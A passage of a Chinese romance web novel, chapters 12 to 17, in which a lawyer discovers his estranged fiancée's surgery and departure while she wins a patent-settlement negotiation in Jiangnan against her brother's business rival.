他猛地从地上站起来,因为起得太急,眼前甚至黑了一瞬,高大的身躯不受控制地晃动了一下,堪堪扶住旁边的墙壁才站稳。 心脏像是被一只无形的手死死攥住,然后用力拧绞,痛得他几乎无法呼吸。 恐慌,一种他从未体验过的灭顶恐慌,瞬间淹没了他。 他一把抓起那张皱巴巴的诊断报告,像疯了一样冲出房间,甚至等不及电梯,直接从安全通道狂奔而下。 他的车还停在酒店门口。 他拉开车门,猛地坐进去,发动引擎,跑车发出巨大的轰鸣声,如离弦之箭般窜了出去,引得路人纷纷侧目。 一路上,他几乎将油门踩到了底,连续闯了几个红灯,喇叭按得震天响,完全不顾交通规则。 那张报告单被他紧紧攥在手里,几乎要被手心的汗浸湿。 他的脑子里只有一个念头——去医院! 立刻! 马上! 他要去确认她当时的情况,他要知道一切! 第12章 她不要他了 市中心医院。 霍寒山像一阵狂风般冲进急诊大厅,他脸色煞白,眼神骇人,昂贵的西装外套甚至因为之前的奔跑而有些凌乱,与他平日里的冷峻矜贵判若两人。 他直接抓住一个路过护士的胳膊,声音嘶哑得厉害:“一周前,一个叫明嫣的病人,阑尾炎穿孔手术,是谁给她做的手术?!” 护士被他吓了一跳,挣扎着想要摆脱他的手:“先生,您冷静点!病人信息我们不能……” “告诉我!”霍寒山低吼着,眼底是一片赤红的疯狂,“她当时怎么样?严不严重?!” 他的样子太过吓人,另一个年长些的护士长见状连忙过来:“先生,请您先放手!您这样我们没办法帮您查!” 霍寒山深吸一口气,极力压制着几乎要失控的情绪,松开了手,但眼神依旧死死盯着对方:“麻烦你,帮我查一下,明嫣,一周前左右的阑尾手术。” 护士长被他眼中的急切触动,犹豫了一下,还是走到电脑前查询起来。 “明嫣……找到了。确实是上周三晚上入院的,急诊腹腔镜阑尾切除加脓肿清除术。主刀医生是张主任。她已经出院了。” “她当时……情况怎么样?”霍寒山的声音带着不易察觉的颤抖。 “诊断上写着坏疽穿孔并局限性腹膜炎,算是比较严重的阑尾炎了,手术及时,术后恢复还算平稳,但……”护士长顿了顿,看了他一眼,“病人住院期间,好像一直没什么人来看望。你是她什么人?” 没什么人来看望…… 每一个字都像一把锤子,重重砸在霍寒山的心上。 “我是……”他张了张嘴,那句“我是她未婚夫”却无论如何也说不出口。 一个在未婚妻急诊手术时都不知踪影,不闻不问的未婚夫? 他算什么未婚夫? “张主任现在在哪?”他涩声问道。 “这个时间,张主任应该在住院部查房。” 霍寒山转身就往住院部冲去。 他一间一间病房地找,终于在外科病房走廊看到了一个胸牌上写着“主任医师张天仁”的医生。 “张医生!”霍寒山快步上前。 张主任正在跟病人说话,突然被人打断,有些不悦地抬起头,看到霍寒山的状态,皱了皱眉:“你是?” “一周前,你给一个叫明嫣的病人做了阑尾手术?”霍寒山急切地问,将手里那张皱巴巴的报告递过去,“她当时……到底怎么样?” 张主任看了一眼报告,又仔细打量了一下霍寒山,似乎想起来了什么,眼神里带上了一丝不易察觉的谴责。 “哦,明嫣啊,记得。”张主任的语气很平淡,甚至有些冷,“送来的时候已经很晚了,腹痛剧烈,体温也高,再耽误下去就很危险了。手术中发现阑尾坏疽穿孔,腹腔里有脓液,清理花了不少时间。” 张主任推了推眼镜,继续道,“她是慢性阑尾炎拖成的阑尾坏疽穿孔,这个病发时很疼,那种疼痛就连男人都受不了,也不知道她一个小姑娘是怎么忍到现在的。” 霍寒山的脸色又白了几分。 “她……这是怎么造成的?” “患者自述是陪客户喝酒,一开始是伤了胃,后面因为工作忙,才拖成了现在这样。” 陪客户喝酒…… 霍寒山突然想起来,明寒律师所创立初期,他连跟人握手都觉得厌烦,跟客户沟通时屡屡坏事,都是明嫣不厌其烦地在后面帮他收拾烂摊子。 有一次他惹恼了一个大客户,原本他以为这个客户肯定丢了。 没想到明嫣去找了他们几次,后来又继续开始合作。 他当时知道明嫣是陪他们喝了酒还很生气,说她不顾身价…… 说她不择手段…… 霍寒山的手指攥紧,手背上的青筋暴起。 也不知道过了多久,他才哑声开口,“手术……顺利吧?” “手术倒是顺利,但术后麻醉醒来,病人情绪很低落。” 张主任一顿,“她一直在看手机,好像是在等什么人的电话或者信息吧?不过好像一直没等到。小姑娘挺坚强的,疼也没怎么吭声,就是看着怪让人心疼的。” 霍寒山只觉得一阵天旋地转,脸上却没什么表情,只是垂在两侧的手指微微颤抖。 她等在他的电话…… 等到的却是他的冷漠和忽视。 “她……还说什么了?” 主治医生抿了抿唇,“她说,如果有人来找她的话,就帮她转告一句话。” “什么话?” “她说,阑尾割掉就不会疼了,让那人不要找她了。” 霍寒山感觉心脏像是被彻底撕裂开来。 他想起明嫣丢掉的戒指,卖掉的家,辞职的信…… 那不是赌气,那不是逼他低头。 那是哀莫大于心死。 是他,在一次次的忽视和冷漠和误解,在她最脆弱最需要他的时候,亲手将她推开,彻底碾碎了她对他所有的爱和期待。 “噗——” 急火攻心之下,霍寒山只觉得喉头一甜,竟猛地咳出一口血来,殷红的血迹溅落在冰冷的光洁地板上,触目惊心。 “呀!”张主任脸色一变,上前一步:“你……你没事吧?” 霍寒山却仿佛听不见任何声音,他猛地一把推开试图扶他的张主任,一向沉稳的人忽然控制不住地捂住胸口,喘着气蹲了下去,脑海里只有一个念头—— 他真的惹明嫣生气了。 她不要他了。 心里的疼痛几乎让他喘不过气来。 不! 他必须找到她! 霍寒山握紧手里的丝绒盒子,缓缓地站起身来,踉跄着往医院外走去,脸上是从未有过的卑微和期望—— 她只是在生他的气,只要他好好跟她道歉认错,她会原谅他的,他们还会回到以前那样…… 想到这里,霍寒山像是突然找到了动力,他脚下的步子加快。 而就在他拉开车门准备启动的时候,韩晋的电话打了进来。 “喂……” “老霍,大事不好了,小明嫣她订了张飞去M国的机票,现在已经起飞了……” 霍寒山的脊背瞬间变得僵硬,好似浑身的血液都被冰冻起来,耳边嗡嗡作响,电话里的韩晋在说什么,他已经听不见了。 明嫣出国了…… 她—— 真的不要他了…… 第13章 大哥的死对头——傅沉修 十月江南。 细密的雨像是掺了青黛,天地晕染成一片朦胧的烟青色。 明嫣望着车窗外掠过的江南烟雨,恍惚间想起京都绝对不会有这样的好风景。 “真要穿成这样?”陆奉归扯了扯红色领带,后视镜里映出他皱成一团疙瘩的眉头,“感觉跟卖保险似的。” 明嫣收回视线,瞥了他一眼,一本正经道,“这是咱们律师所的第一个案子,必须要开门红。” 陆奉归瞥了一眼后视镜里的明嫣,绯红的唇釉,黑色西装掐出纤细的腰线,胸前点缀的是红色珊瑚状的胸针…… 好看是真好看。 可管用吗? 开始搞玄学了吗? 陆奉归撇了撇嘴,哪怕知道自己又在灭自己志气,涨他人威风,但还是哭丧着脸道,“老大,跃华的法务部养着三支金牌律师团,他们的老板傅修沉去年刚把对手公司告到破产清算……” 似是听见了熟悉的名字,明嫣有一瞬的晃神。 傅修沉…… 她大哥明燃的死对头。 她自小就听说过这位天之骄子的名头,那是走到哪里都是风云人物。 据说他在刚上大学的时候就创办了跃华生物,如今不过区区三年,跃华生物即将上市,市值上百亿。 如今傅修沉的跃华生物风头正劲,这才引得一些投机取巧的公司妄图复制跟风,自此侵权案频发,跃华生物的法务部重拳出击,一记杀鸡儆猴誓要震慑住后面的宵小之辈。 所以,若不是所有律所都畏惧跃华的手段,这案子又怎会落到他们这种刚刚成立不到一个月的律师事务所头上。 明嫣抿了抿唇——还真是冤家路窄。 她收回思绪,握拳鼓劲儿,一脸的志在必得:“所以我们要抢在他们提交诉状前,把赔偿金额压到一百万以内。” 陆奉归快速地扫了一眼后视镜,“难哪!” “闭嘴!” 话音未落,商务车已停在跃华大厦前。 玻璃幕墙映着流云,像是把整片江南的天穹都裁下来贴在墙上。 明嫣望着旋转门里匆匆掠过的西装革履,忽然想起五年前她第一次跟霍寒山见客户的情景,如今回忆起来竟然有种恍如隔世的感觉。 “您好,我们是明嫣律师事务所的,跟贵公司的法务部约好的十点见面。” “二十二层会议室。” “谢谢。” 明嫣和陆奉归进了电梯,轿厢镀着暗金纹路,数字不断攀升。 电梯镜面映出她鸦黑色的西装裙,像一枝插在钧窑瓷瓶里的白山茶。 瞥了一眼身旁,明嫣突然轻笑了一声,“陆奉归,你抖什么?” “……” 陆奉归垮着一张脸,“我……我能不抖嘛,咱们一会儿见的可是跃华法务部总监周慕言,那可是跟京都第一律师霍寒山齐名的人。” 骤然听见‘霍寒山’的名字,明嫣脸上的笑意敛了敛,脸上有一瞬的失神,随即勾了勾唇,“怕什么,他们都是肉体凡胎,不比我们多张嘴!” “老板,人家在律师界可是大佬。” “大佬都有病,咱不同情他们。” “……” 两人一路插科打诨地到了二十二楼。 会议室门打开的刹那,满室沉香扑面而来。 来之前明嫣虽然说了不怕他们,但是,看见周慕言身后的十几名西装革履的律师同行…… 明嫣深吸了一口气,笑着同周慕言握手,“周律师,您好。” “还真是明小师妹……”周慕言唇角勾起一丝弧度,握手,“看见名字的时候,我还以为是同名同姓。” 见对方跟自己主动攀交情,明嫣这次笑得亲和力直接拉满,“周学长,好久不见。” “明嫣律师所……”周慕言似笑非笑地望着明嫣,“明小师妹终于幡然醒悟了,不跟着某人助纣为虐了。” 明嫣知道周慕言说的某人是谁。 若是论熟读律法条文,周慕言的确比不上霍寒山,但是论为人处世…… 十个霍寒山绑一起也斗不过周慕言。 只不过,那时的霍寒山身边总有一个帮他拼荆斩棘的明嫣。 周慕言当年离开京都,也是因为‘既生霍何生周’,如今在江南大杀四方,也是因祸得福。 倒是明嫣一转眼就入了周慕言的地盘讨生活,不得不说是这造化弄人。 一旁轻微抖着的陆奉归一听周慕言竟然跟自家老板认识,还是学长学妹的关系,心里顿时腾起一股希望——这官司有门儿了! 只是,等两人一落座,周慕言就直接亮出锋利的爪牙,直接把陆奉归给整自闭了。 “贵司侵权事实清楚,我们要求赔偿金额上浮30%。” “至于明律师提出的‘非主观故意’言论实在是无稽之谈,我们这边掌握的证据可不是这样,要不你们好好看看?” 一沓证据甩在明嫣面前。 这根本就用不着法律条文诡辩了。 直接可以称得上是犯罪证据。 明嫣暗骂了一声‘老狐狸’,寻思着当年霍寒山怎么就不斗死他呢! 心里腹诽,可明嫣面上却是从容不迫,将案卷推向长桌对面,“贵司主张的惩罚性赔偿,需要证明我方存在主观恶意。根据《专利法》第六十二条,我当事人属于善意使用……” 双方你来我往,可谓是满室剑拔弩张。 而就在明嫣觉得今天这官司肯定不能善了的时候,会议室的大门被人推开。 一时间,法务部众人齐刷刷起身,明嫣看见周慕言瞬间绷直的脊背。 她下意识的回眸—— 男人背光而立,剪裁精良的黑西装裹着劲瘦腰身,抬手解开袖扣的动作露出腕间的手表,曜石黑映着冷白皮肤,有种莫名的禁欲感。 ——完球了! 傅修沉怎么来了? 明嫣在心中无声哀嚎,知道今天这案子不光不能善了,傅修沉八成还会迁怒,她今天代理的这个公司估计会被他告到破产! “傅总。”周慕言声音发紧,“您怎么过来了,这点小事交给我们法务部处理就好。” 傅修沉径自坐在主位,水晶吊灯在他眉骨投下阴翳。 他却没有搭理周慕言,垂着眸子翻动桌子上的文件,随着他的动作,腕间的表链磕在实木桌沿,忽然抬眸看向明嫣,“明……律师对吧?” “……” 第14章 这分明就是放水! 傅修沉的一句话将所有人的视线都投聚在明嫣身上。 明嫣扯出一丝僵硬的笑,“您好,傅总……” 傅修沉向后倚靠在靠背上,穿着西装的修长双腿交叠,“明律师觉得怎样的证据能构成主观恶意?” 明嫣只觉得喉头发紧,其实所谓的主观善意还是恶意,这种才是律师可以插手诡辩的地方。 也是突破口。 但傅修沉一上来就直掐要害,简直半天活路都不给她留! 果然大哥说的没错——这死老狐狸不是好人! 她当初就不该财迷心窍接这桩诉讼! 只是半途而废也不是明嫣的性格。 无奈之下,她只能硬着头皮一一列举。 这是她翻了三天三夜的资料才找出来的唯一漏洞。 不求逆风翻盘,只求别输得太惨。 “嗯,说得挺有道理。” “?” 看着明嫣满脸的懵,傅修沉忽地轻笑一声,屈指叩了一声桌面,“贵所接这个案子前,看过被告公司的财务报表吗?” 明嫣在他迫人的视线下点头,将文件推过桌面时,“跃华主张的五百万赔偿金,是基于近三年平均销售额的十倍计算。” 她深吸了一口气,只觉得傅修沉投过来的视线侵略感十足,让她忍不住的后背发麻,“但根据《专利法》第六十五条规定,可以在专利权人不愿意或者不能够实施其专利的情况下,允许其他人实施该专利,以促进技术的应用和推广。” “所以,就我司的主观善意来说,我的建议是将赔偿金控制在一百万以内才算合理……” 傅修沉摩挲着腕间的表盘,扭头去看周慕言,“周律师觉得呢?” 周慕言:“……” ——他不想觉得。 不得不说,明嫣找的角度的确刁钻,真不愧是跟在霍寒山身边这么多年,他真是小看这个小丫头了! 而就在周慕言默默腹诽的时候,傅修沉敲了敲桌子,“既然周律师也觉得没问题,那就按明律师的建议来……” “!!!” 周慕言简直要疯了。 他什么时候觉得没问题了? 明明优势在他们,就算明嫣诡辩之才了得,却也有再逼一步的余地,没必要妥协。 更何况,今天这事儿若是被旁人知道了,这侵权案还不得翻天了? “傅总,我觉得……” 可还没等周慕言说话,傅修沉忽然勾起唇角看向明嫣,“最近跟你大哥联系过吗?” 这话一出,满室寂静。 就连明嫣都愣了一下。 什么意思? 只是单纯闲聊? 还是准备要出杀招弄死她了? 突然提她大哥干什么? 他跟大哥不是死对头吗? 见她不说话,会议室里的气氛不由得有些微妙起来。 陆奉归垂下眼眸,连忙在桌下碰了碰她的膝盖。 “还没……” “那你可以联系一下,我听说他最近春风得意,海外市场拓展顺利,名声已经传到国外了。” 会议室的空气仿佛凝滞了几秒。 傅修沉的几句话就让在场所有人都心思各异。 周慕言自然是首当其冲。 他跟在傅修沉身边多年,太清楚自家大老板和明家大少爷那种王不见王、针尖对麦芒的关系了。 傅总怎么可能真心实意地夸明燃? 提到他不阴阳几句都算是太阳打西边出来了! 他狐疑的目光在傅修沉和明嫣之间来回逡巡,试图找出一点蛛丝马迹。 难道……傅总这是看上了明家这位小姐? 不可能吧? 他跟在傅总身边这几年,就算是路过条狗都是公的,外头可一直在传他性取向有问题…… 他家傅总明牌厌女,更何况明嫣还是死对头的妹妹…… 而此时的明嫣被数十双眼睛盯着,只觉得后背发麻,只能硬着头皮道,“多谢傅总,我会的……” 傅修沉几不可察地勾了下唇角,那笑意极淡,却瞬间冲散了他周身部分的冷冽,让他眼尾那颗小小的朱砂痣都显得鲜活了几分。 他不再看她,转而看向周慕言,手指无意识地摩挲着腕间的表链,语气恢复了之前的平淡,“周律师,就按照一百万拟和解协议吧。” “傅总……”周慕言几乎是脱口而出,脸上写满了不认同,“这……这不好吧?如果开了不好的先例,以后类似的案子……” “你刚才不是没意见吗?”傅修沉打断他,语气没什么起伏。 “……” 周慕言简直要吐血。 他哪儿是没意见啊? 他准备了一箩筐的杀招,铁定能杀得明嫣片甲不留! 可他家大老板压根没有给他机会说话好不好?! “傅总,我觉得……” 可还没等他说完,傅修沉就抬了抬手,“法理不外乎人情,明律师给出的法理和情理都足够充分,再说了,及时止损拿到确定的赔偿,比陷入一场冗长的诉讼更符合商业逻辑。” 他这话说得冠冕堂皇,既点了明嫣的专业能力,又抬出了商业逻辑,简直无懈可击。 可周慕言心里跟明镜似的——这分明就是放水! 而且还是放了一整个太平洋的水! 周慕言内心哀嚎,却不敢再反驳。 他跟了傅修沉这么多年,太清楚自家大老板做决定时的神态了——看似随意,实则一言九鼎,绝无转圜余地。 他只能憋屈地应道:“是,傅总,我明白了。” 他深吸一口气,转向明嫣和陆奉归时,已经勉强恢复了专业律师的镇定,只是语气难免有些僵硬:“明律师,既然傅总发话了,那就按这个方案来。我们会尽快拟好和解协议,赔偿金额定为一百万,一次性支付。希望贵所的当事人也能尽快履行承诺,停止侵权行为并签署相关文件。” 峰回路转! 明嫣几乎不敢相信自己的耳朵! 她原本已经做好了最坏的打算,甚至开始在心里盘算下一个潜在客户去哪里找,没想到……竟然真的成了? 巨大的惊喜和一丝难以言喻的怪异感交织在一起,让她一时有些怔忡,她下意识地又看向傅修沉。 可男人却已经微微垂眸,视线落在自己摩挲表盘的手指上,只露出侧脸的线条锋利冷硬。 陆奉归终于满血复活,率先反应过来,连忙起身,“当然!非常感谢傅总、周律师!我们这边一定会全力配合,督促当事人尽快签署协议,绝对不再给贵司添任何麻烦!” 接下来的流程变得异常顺利。 周慕言效率极高,很快就让助理准备好了初步的和解协议框架。双方就一些细节条款进行了简短磋商,基本上都在傅修沉默许的范围内快速达成一致。 明嫣全程都有些恍惚,签字的时候,手指甚至微微有些发抖。 她努力集中精神,核对每一个条款,确认无误后,才在乙方代理律师的位置上,签下了自己的名字。 笔尖划过纸张,发出沙沙的声响。 就在她落下最后一笔的瞬间,周慕言放在桌面上的手机突然嗡嗡震动起来。 明嫣下意识地瞥了一眼,只见屏幕上跳跃一个她再熟悉不过的名字—— 霍寒山。 第15章 霍寒山他疯了吧! 周慕言这会儿正满心不爽,正准备最后检查一下合同的时候,放在桌子上的手机冷不丁地震动了起来。 霍寒山? 周慕言挑眉,这可真是活久见了! 这人竟然还会给他打电话。 此时的明嫣已经签完合同,周慕言当即让身后的助理帮忙检查,然后拿着手机走到了会议室的落地窗边,语气带着几分戏谑和嘲讽:“哟,霍大律师?今天刮的什么风,竟然劳您亲自给我打电话?” 他还在等霍寒山像往常冷冰冰地反唇相讥,然后话筒里传来的声音却完全出乎他的意料。 “你最近有见过明嫣吗?” 这话一出,周慕言愣了一下,甚至怀疑自己是不是听错了。 这是霍寒山? 他什么时候学会好好说话了? 周慕言下意识地回头看了一眼明嫣。 她正微微侧着头听陆奉归低声说着什么,侧脸线条柔和,仿佛自己这个电话与她毫无关系。 周慕言心里莫名地升起一股极其怪异的感觉,他清了清嗓子,压下那点不自在,故意拉长了语调,“明嫣?你说哪个明嫣?哦……我想起来了,就是你那个跟前跟后,帮你收拾了无数烂摊子的小学妹?” 他这话刻薄又戳心窝子,本以为会激怒霍寒山,却只听到电话那头呼吸猛地一重,带了一丝不易察觉的示弱,“周慕言!我没时间跟你绕弯子!就当我欠你个人情,你告诉我,你到底见没见到她?” 周慕言彻底愣住了。 他这还是第一次见霍寒山如此…… 不像霍寒山。 那层冰冷坚硬的壳仿佛碎掉了,露出了里面从未示人的鲜活。 这甚至让他一时忘了嘲讽,下意识地就想如实相告——人就在我这儿,刚签完合同。 “她……” 可他刚张开嘴,一个字还没吐完整,身后一直默不作声的傅修沉却突然开了口,“周律师……” 傅修沉的手指轻轻敲了敲光滑的桌面,发出笃笃的轻响,语气平淡无波,“这份补充条款,过来看一下。” 周慕言心里“咯噔”一下,连忙对电话那头仓促地说了一句:“我这边有急事,回头再说!” 说着不等霍寒山那边反应,他已然飞快地挂断了电话,转身朝着傅修沉走去。 “傅总……” 周慕言原本还在胡思乱想,一对上傅修沉抬起的视线,那点心思瞬间就被压了下去。 傅修沉的眼神很淡,看不出什么情绪,但周慕言却无端地感到一股压力,总觉得自家大老板此刻的心情似乎……不太美妙? 是因为这桩赔本的和解案? 还是因为…… 周慕言不敢细想,连忙收敛心神,恭敬地俯身去看那份所谓的补充条款。 另一边,明嫣面上虽然没有什么反应,但是方才周慕言话筒里的声音还是零星地钻进了她的耳朵。 不知怎么,心底那片自以为已经平静的湖面,终究还是被投下了石子,漾开一层层的涟漪。 霍寒山竟然还在找她? 都过去一个多月了,她以为他早就该和秦婉双宿双飞了。 现在这样,又是什么意思? 难道是因为发现身边少了一个任劳任怨,还能帮他挡掉无数麻烦的工具人,所以不习惯了? 还是说他想继续找她做秦婉的移动血包? 明嫣的唇角勾起一丝弧度。 她深吸一口气,将最后一点纷乱的思绪压回心底,拿起签好的协议,起身:“傅总,周律师,既然协议已经签好,那我们就先告辞了,后续事宜我们会及时跟进。” 傅修沉的视线从文件上抬起,落在她脸上,他微微颔首,并未多言:“嗯。” 明嫣不再停留,拿起自己的东西,带着还有些飘飘然的陆奉归,快步离开了会议室。 电梯一路下行。 陆奉归兴奋地搓着手:“老板!你太神了!一百万!居然真谈下来了!咱们律所这下算是开门红了吧?今晚必须庆祝一下!” 明嫣扯了扯嘴角,却没什么笑意,心里乱糟糟的。 电梯门打开,江南湿润微凉的空气涌了进来,稍稍驱散了些许心头的滞闷。 两人刚走到大厦门口,陆奉归一边低头用手机软件叫车,一边习惯性地刷着新闻。 突然,他像是看到了什么劲爆消息,猛地倒吸一口凉气,发出一声怪叫:“卧槽?!不是吧?!” 明嫣被吓了一跳,蹙眉看他:“怎么了?一惊一乍的。” 陆奉归猛地将手机屏幕递到明嫣眼前,眼睛瞪得溜圆,声音都变了调:“老……老板!你看!京大校友论坛……这……这上面说的明嫣……该不会就是你吧?!” 明嫣疑惑地低头看去—— 只见京大校友论坛最热的一条帖子标题赫然写着:【重金悬赏寻人!明嫣,女,原京都明寒律师事务所律师……】 发帖人ID:霍寒山。 下面的回复已经盖起了高楼。 【卧槽?!本人?!霍寒山师兄?!】 【真的是霍神本尊?他怎么会发这种帖子?】 【明嫣师姐?她不是跟霍神一起创业合开的明寒律师所吗?怎么了这是?】 【‘提供有效线索者重谢’……这是怎么了?吵架了?】 【看这语气不像吵架,倒像是人丢了……】 【一个月前就联系不上了?什么情况?失踪了?】 明嫣的呼吸骤然停滞,血液仿佛在瞬间涌向大脑,又急速褪去,让她耳边嗡嗡作响。 霍寒山这是疯了吗? 他竟然用这种近乎公开的方式,在京大论坛上……找她? 他到底想干什么?! 她为了彻底离开,做得那么决绝,辞了职,卖了房,切断了所有他能找到的联系方式,甚至故意买了出国的机票制造假象,最后辗转藏身于江南一隅。 她以为她已经表现得足够明白,她成全他和他的青梅,退出他那波澜壮阔的人生。 为什么? 为什么过去了一个多月,他还不肯放过她? “老板……这……这真是找你啊?”陆奉归看着明嫣骤变的脸色,心里已经有了答案,震惊得嘴巴都合不拢了,“霍律师他……他这是……你们……” 明嫣将手机塞回陆奉归手里,面色如常,“不是我。” “啊?” “啊什么啊?走了,回律所了。” 陆奉归看着她的背影,又低头看了看手机上的帖子,满脸的难以置信。 他偶像霍寒山……和他老板明嫣…… 这信息量也太大了! 第16章 我马上去江南 京都,明寒律所顶层办公室。 霍寒山听着手机里传来的忙音,眉头紧锁。 周慕言最后那句仓促挂断的电话,像一根细刺,扎在他本就紧绷的神经上。 不对劲。 周慕言虽然一向跟他不对付,说话也惯常夹枪带棒,但方才电话里的反应却透着一股说不出的怪异。 尤其是当他问起明嫣时,周慕言那瞬间的停顿和下意识的反问,绝不像是毫不知情的样子。 霍寒山几乎没有任何犹豫,立刻编辑了一条短信发了过去:【周慕言,你见过明嫣了,是不是?她在江南?】 他紧紧盯着手机屏幕,指尖因为用力而泛白。 时间一分一秒地过去,每一秒都像是在煎熬。 他从未像现在这样,将全部的希望寄托在一个死对头可能施舍的回复上。 几分钟后,手机屏幕终于亮起。 周慕言的回复简短得近乎敷衍:【是。】 只有一个字。 却像一道惊雷,瞬间劈开了霍寒山心中连日来的阴霾和不确定。 她真的在江南! 周慕言见过她! 就在刚才…… 所以他接电话时语气才那么奇怪! 巨大的狂喜和更深的急切如同海啸般席卷而来,几乎将他淹没。 他再也坐不住,猛地从办公桌后站起身,抓起车钥匙和外套就往外冲。 “老霍?”一直等在外间的韩晋被他这阵势吓了一跳,连忙跟上,“怎么了?有消息了?” “她在江南!周慕言见过她!”霍寒山脚步飞快地走向电梯,“给我订最快一班去江南的机票!现在!马上!” 韩晋先是一愣,随即也松了口气,“太好了!总算有消息了!我这就订!” 他一边快速订票,一边忍不住念叨,“我说什么来着?明嫣那么喜欢你,怎么可能真舍得……你去了好好跟人家说,别再冷着脸了,女孩子是要哄的……哎,你等等我!” 霍寒山仿佛没听见他的絮叨,电梯门一开就疾步走了进去,手指反复摩挲着手机屏幕上周慕言那个简单的“是”字,心脏在胸腔里剧烈地跳动着,一种失而复得的巨大希望灼烧着他。 他要去找她。 明嫣,你等我! …… 而与此同时,江南,跃华生物集团大楼会议室。 周慕言发完那个“是”字,便将手机随意地放在了会议桌上,转身去跟法务部的同事交代和解协议的后续执行细节。 他压根没把霍寒山这突如其来的追问当回事,只当是对方找不到人急疯了,偶然得知一点线索就来打听而已。 他更头疼的是眼前这桩被大老板强行“贱卖”的和解案,以及傅修沉身上那股若有似无的低气压。 手机屏幕又亮了一下,新消息预览弹了出来。 发信人:霍寒山。 内容:【我马上去江南!】 这条信息恰好被坐在一旁尚未离开的傅修沉收入眼底。 傅修沉的眸色倏然深沉,眼底掠过一丝极淡的锐光,像平静湖面下骤然涌动的暗流。 他不动声色地抬眸,看了一眼正背对着他的周慕言,薄唇微启,声音不高,却清晰地传遍整个会议室:“周律师。” 周慕言连忙回头:“傅总,您还有什么指示?” 傅修沉身体微微后靠,目光扫过会议室里尚未完全散去的工作人员,语气平淡无波,“通知法务部全体,今晚加班。” “啊?”周慕言懵了,下意识看向窗外还没下山的太阳,“傅总,是……有什么紧急案子吗?”今天除了明嫣这桩,没听说有什么急事啊? “嗯。”傅修沉淡淡应了一声,却并不解释是什么紧急案子,只是屈指敲了敲桌面,“把所有正在进行中和即将启动的侵权诉讼案卷,全部重新梳理一遍,尤其是赔偿金额的计算依据和主观恶意的证据链,我要最详细的报告,明早九点,放在我办公桌上。” “明……明早九点?”周慕言眼前一黑,差点当场厥过去。 法务部手头光是重点诉讼就有七八个,普通维权案件更是多达几十个,一晚上全部重新梳理还要出详细报告?! 这是要通宵猝死的节奏啊! “傅总,这……时间是不是太紧了点?”周慕言试图挣扎一下。 傅修沉抬眸看他,眼神没什么温度:“有困难?” 周慕言瞬间把话咽了回去,头皮发麻:“没……没有!保证完成任务!” 他欲哭无泪,心里疯狂呐喊:到底是谁又惹这位祖宗不高兴了?! 这突如其来的加班地狱是为什么啊?! 傅修沉不再多言,起身整理了一下西装外套,迈步离开了会议室,留下周慕言和一众法务部精英们在原地哀嚎遍野。 …… 京都,机场高速。 韩晋开着车,风驰电掣地赶往机场。 他透过后视镜,看着后排一言不发、脸色紧绷却眼底带着光亮的霍寒山,忍不住叹了口气。 这段日子,他算是亲眼见识了霍寒山是怎么疯了一样满世界找明嫣的。 几乎动用了所有能动用的关系网,放下手头所有重要的案子,整个人像变了个人似的。 那股偏执和急切,哪里还有半点平时冷静自持? 旁人都说霍寒山冷心冷情,可韩晋却觉得,他对明嫣,从来都是不一样的。 只是这种‘不一样’藏得太深,连霍寒山自己可能都未曾察觉,或者说,不愿承认。 直到失去的那一刻,才如山崩海啸般反噬。 “找到人之后,好好说,别再端着你那臭架子了。”韩晋忍不住又嘱咐道,“明嫣那丫头看着软和,骨子里倔着呢,这次能做得这么绝,肯定是伤透心了。你……” 他的话还没说完,霍寒山的手机响了起来。 霍寒山看了一眼来电显示,是律所前台的号码,他微微蹙眉接起:“什么事?” 电话那头传来前台小姐小心翼翼的声音:“霍律师,秦婉小姐来了,说给您送晚餐,您看……” 霍寒山的脸色瞬间沉了下去,语气冰冷:“就说我不在,让她走。” 然而,电话还没挂断,话筒里便传来秦婉娇嗲的声音,“寒山?你还在忙吗?阿姨让我来看看你,我给你带了……” 可还没等她说完,霍寒山已然挂断了电话。 秦婉听着话筒里响起的‘嘟嘟’忙音,脸色一阵青一阵白。 都怪明嫣那个贱人! 明明她是被自己捉奸在酒店没脸见人才跑的,可寒山却迁怒到她身上! 她招谁惹谁了? 第17章 别再自取其辱了 秦婉不甘心地又拨了过去,结果这次直接转入了语音信箱。 “啊!”秦婉气得尖叫一声,差点把手里的保温桶砸在地上。 她死死攥着拳头,指甲掐进掌心,胸脯剧烈起伏着。 明嫣这个贱人,真是阴魂不散,走了都不让人安生! 秦婉铁了心要等到霍寒山回来,她就不信他不回律所! 她直接走到接待区的沙发上坐下,摆出一副女主人的姿态,对前台小姐颐指气使:“给我倒杯咖啡,要现磨的,不加糖不加奶。” 前台小姐认得这位经常来的秦小姐,也知道她和霍律师关系似乎不一般,不敢得罪,只好应声去准备。 时间一分一秒地过去。 秦婉从最初的信心满满等到焦躁不耐,咖啡续了一杯又一杯,却始终不见霍寒山的身影。 就在她快要失去耐心的时候,电梯门‘叮’的一声开了。 秦婉眼睛一亮,立刻站起身整理了一下裙摆,脸上堆起甜美的笑容迎上去:“寒山,你终于回……” 她的笑容和话语在看清来人时,瞬间僵在脸上。 来的不是霍寒山,是拎着公文包的韩晋。 韩晋显然也没料到秦婉竟然还在这里,他愣了一下,眉头下意识地皱起:“秦小姐?你怎么还没走?” 秦婉脸上的笑容迅速褪去,一脸的委屈和不忿:“寒山呢?他去哪儿了?我等他一下午了!” 韩晋心里不禁一阵烦躁。 他当然知道秦婉对霍寒山的心思,也更清楚霍寒山对她根本没那意思,以前不过是碍于她母亲的救命恩情,还有明嫣的懂事和包容,才让她有了可乘之机。 现在明嫣都被她逼走了,她还在这里摆什么谱? “老霍出差了。”韩晋没什么好气地说道,绕过她就想往办公室里走。 “出差?”秦婉立刻拦住他,“去哪里出差?什么时候回来?我怎么不知道?” 韩晋停下脚步,看着她这副咄咄逼人的样子,终于忍不住了,他深吸一口气,语气冷了下来:“秦小姐,老霍去哪里,什么时候回来,好像没有义务向你汇报吧?” “你!”秦婉被他的话噎得脸色一变,随即像是想到了什么,声音顿时软了下来,“韩晋,你怎么能这么说?我只是关心寒山,他最近状态那么差,我担心他……” “你担心他?”韩晋像是听到了什么天大的笑话,他转过身,上下打量着秦婉,眼神里带着毫不掩饰的讥讽,“你是担心他,还是担心自己不能趁虚而入?” 秦婉的脸色‘唰’的一下变得惨白,像是被戳中了最隐秘的心事,她尖声道:“韩晋!你胡说八道什么!” “我是不是胡说八道,你心里清楚。”韩晋毕竟是律师,论起唇枪舌剑,十个秦婉也不是他的对手。 他往前逼近一步,语气平静却字字诛心,“秦婉,看在阿姨当年拼死救了老霍的份儿上,我好心劝你一句,趁早死了这条心。他心里装着谁,你难道真的看不出来吗?非要我把话说得那么难听?” 